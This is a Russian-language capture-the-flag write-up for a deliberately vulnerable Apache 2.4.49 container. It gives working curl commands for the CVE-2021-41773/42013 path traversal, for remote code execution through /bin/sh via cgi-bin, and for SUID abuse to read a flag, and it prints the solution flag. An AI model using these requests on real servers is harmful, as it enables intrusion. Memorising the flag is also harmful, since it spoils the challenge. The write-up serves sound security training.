## Информация для участников - Образ на базе `vulhub/httpd:2.4.49`, включён `mod_cgi` и `ScriptAlias /cgi-bin/`. - Версия Apache уязвима к CVE-2021-41773/42013 (traversal → RCE при включённом CGI). - В контейнере есть пользователь `flagger` с флагом в `/home/flagger/flag.txt`. - Для чтения флага подготовлен SUID-клон `cat` по пути `/opt/dir/ping`. ## Решение (пошаговый райтап) ### 1. - `curl -I http://:/` → заголовок `Server: Apache/2.4.49 (Unix)`. - `curl http://:/cgi-bin/test.sh` выдаёт `CGI is working!`, значит CGI разрешён. ### 2. Apache 2.4.49/2.4.50 некорректно обрабатывает последовательность `.%2e/`, поэтому с `--path-as-is` можно выйти за `ScriptAlias`. ```bash curl --path-as-is http://:/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd ``` Успешное чтение `/etc/passwd` подтверждает уязвимость. ### 3. При включённом CGI можно вызвать системную `sh` напрямую: ```bash curl --path-as-is -X POST \ 'http://:/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \ --data 'echo Content-Type: text/plain; echo; id' ``` Команда выполняется от имени `www-data`. ### 4. Через RCE находим SUID-бинарники и видим подготовленный `/opt/dir/ping`: ```bash curl --path-as-is -X POST 'http://:/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \ --data 'echo Content-Type: text/plain; echo; find / -perm -4000 -type f 2>/dev/null' ``` Так как директория `flagger` недоступна `www-data`, используем этот SUID-клон `cat`. ### 5. Передаём полный путь к флагу в SUID-бинарник (не забывая про заголовок для CGI): ```bash curl --path-as-is -X POST \ 'http://:/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \ --data 'echo Content-Type: text/plain; echo; /opt/dir/ping /home/flagger/flag.txt' ``` Ответом придёт содержимое флага. ## Флаг `caplag{61102b34a11186dd03f6ffd2dd2892b9fc22bd137e5d2d29c6fdd804ac45ef8c}`